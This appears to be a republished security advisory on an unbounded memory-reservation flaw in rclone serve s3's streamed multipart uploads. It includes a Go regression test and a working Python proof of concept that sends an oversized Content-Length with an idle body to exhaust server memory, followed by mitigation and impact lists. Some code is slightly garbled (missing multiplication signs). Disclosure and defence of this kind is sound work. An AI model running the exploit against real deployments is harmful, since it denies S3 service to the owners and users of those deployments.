rclone serve s3, Unbounded Memory Reservation via Multipart Part Length, CVE: N/A (Critical) -DC-Sep2026-2367

Listen to this Post

In streamed multipart mode, rclone serve s3 passes the declared part length to multipart.NewRW().Reserve(contentLength) before reading part data.
Reserve immediately obtains enough 1 MiB pool pages for the entire declared length.
The handler allocates attacker-selected memory based only on Content-Length or X-Amz-Decoded-Content-Length.
The client does not need to transmit the corresponding body.
–multipart-streaming-buffer-limit does not stop allocation for the current expected part.
It also does not stop one oversized part when the buffer is empty.

That exception is intentional to guarantee upload progress.

The flag’s short help is scoped to out-of-order parts.
This report does not treat the option as a total memory cap.
The security issue is the absence of a separate safe maximum or incremental allocation.
A small request header can cause an arbitrarily large reservation.

This can exhaust the process or host.

The default S3 configuration allows anonymous access when no auth_key is set.
An unauthenticated network client can reach the path in such deployments.

Authenticated deployments require a valid S3 credential.

Confirmed affected targets are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e.

Both include streamed multipart support.

cmd/serve/s3/multipart.go admits the declared part size and calls Reserve(contentLength) before io.Copy reads the body.
cmd/serve/s3/multipart.go always admits the current expected part and one oversized part when the buffer is empty.

This occurs even when size > bufferLimit.

lib/multipart/multipart.go creates an RW backed by the global memory pool.
lib/pool/reader_writer.go rounds the declared length to pool pages and immediately calls GetN.
lib/pool/pool.go sets the global pool page size to 1 MiB.

lib/pool/pool.go allocates every requested page in GetN.

github.com/rclone/[email protected]/gofakes3.go parses the request length without an upper bound.
It includes the decoded-length header used for streaming signatures.
It passes the declared length and unread request body to rclone’s streaming UploadPart implementation.
Network attack surface: S3 CreateMultipartUpload followed by UploadPart against a backend eligible for streamed multipart uploads.
The admission counter and allocator both use attacker-controlled contentLength.
The admission rules allow the current part regardless of its size.
Part 1 of a new upload satisfies both partNumber <= up.nextPart and up.buffered == 0, regardless of size.

UploadPart then executes rw := multipart.NewRW().Reserve(contentLength).

Reserve calculates the page count and calls pool.GetN.

With the default global pool, GetN allocates a 1 MiB byte slice for every missing page.
This occurs before io.Copy attempts to read the request body.
The HTTP layer does not independently cap a multipart part length.

GoFakeS3 accepts Content-Length as an int64.

Signed streaming requests can replace it with X-Amz-Decoded-Content-Length.

An attacker can send the headers and keep the body idle, retaining the reservation.

Multiple uploads or connections multiply the effect.

DailyCVE Form:

Platform: rclone serve s3
Version: v1.75.0
Vulnerability : Unbounded memory reservation
Severity: Critical
date: 2026-09-11

Prediction: Patch 2026-10-09

What Undercode Say:

Analytics:

go test ./cmd/serve/s3 -run '^TestOversizedCurrentPartReservation$' -count=1 -v
package s3
import (
"testing"
"github.com/rclone/rclone/lib/multipart"
"github.com/rclone/rclone/lib/pool"
"github.com/stretchr/testify/require"
)
func TestOversizedCurrentPartReservation(t testing.T) {
const (
limit = int64(1 << 20)
size = int64(16 << 20)
)
up := newMultipartUpload(
"bucket", "object", "bucket/object", "bucket/object", nil, limit,
)
require.NoError(t, up.waitForTurn(1, size))
require.Equal(t, size, up.buffered)
before := pool.Global().InUse()
rw := multipart.NewRW().Reserve(size)
t.Cleanup(func() { require.NoError(t, rw.Close()) })
after := pool.Global().InUse()
require.GreaterOrEqual(t,
after-before,
int(size/int64(pool.BufferSize)),
)
}
mkdir -p /tmp/rclone-s3-root/bucket
./rclone serve s3 /tmp/rclone-s3-root \
--addr 127.0.0.1:8080 \
--multipart-streaming-buffer-limit 1Mi

Exploit: (Educational Purposes!)

import http.client
import socket
import time
import xml.etree.ElementTree as ET
from urllib.parse import quote
host = "127.0.0.1"
port = 8080
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("POST", "/bucket/object?uploads", body=b"", headers={"Content-Length": "0"})
r = c.getresponse()
body = r.read()
assert r.status == 200, (r.status, body)
upload_id = ET.fromstring(body).findtext("{}UploadId")
assert upload_id
c.close()
declared = 64 1024 1024
path = "/bucket/object?partNumber=1&uploadId=" + quote(upload_id, safe="")
s = socket.create_connection((host, port), timeout=5)
s.sendall((
f"PUT {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Length: {declared}\r\n"
"Connection: close\r\n"
"\r\n"
).encode("ascii"))
time.sleep(5)
s.close()
const declared = int64(16 << 20)
baseline := pool.Global().InUse()
connection, err := net.DialTimeout("tcp", server.Addr().String(), 5time.Second)
require.NoError(t, err)
_, err = fmt.Fprintf(connection,
"PUT %s HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n",
partPath, server.Addr().String(), declared)
require.NoError(t, err)
wantPages := int(declared / int64(pool.BufferSize))
require.Eventually(t, func() bool {
return pool.Global().InUse()-baseline >= wantPages
}, 5time.Second, 10time.Millisecond)

Protection: from this CVE

  • Do not reserve declared content length before verified bytes.
  • Stream in-order part directly into upload pipe while computing MD5.
  • Allocate incrementally for out-of-order parts as body bytes arrive.
  • Charge each page against per-upload budget before allocation.
  • Apply backpressure, spool to bounded temporary file, or reject.
  • Remove Reserve(contentLength) from untrusted HTTP path.
  • Cap preallocation to small trusted amount.
  • Grow only after bytes are received and accounted.
  • Enforce explicit maximum part size before allocation.
  • Check both Content-Length and X-Amz-Decoded-Content-Length.
  • Return EntityTooLarge or InvalidRequest.
  • Reject negative, overflowing, or platform-int-unrepresentable page counts.
  • Apply total server-wide budget across uploads.
  • Use request context for budget acquisition.
  • Fail immediately when single request exceeds capacity.
  • Limit concurrent multipart uploads and idle request-body time.
  • Reconcile option documentation with actual guarantee.

Impact:

  • Network client forces memory reservation proportional to unverified header.
  • Reservation occurs before bandwidth cost of sending declared body.
  • One large part can exceed out-of-order buffering limit.
  • Concurrent uploads multiply memory consumption.
  • Large declared length can exhaust process or host memory.
  • Process may terminate.
  • Request goroutines may block permanently on global semaphore.
  • Loss of S3 service availability.
  • No confidentiality or integrity impact required.
  • Unauthenticated exploitation applies in documented anonymous S3 mode.
  • With auth_key, attacker must possess accepted key.
  • Loopback or trusted management network removes untrusted reachability.
  • Resource-accounting defect remains.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top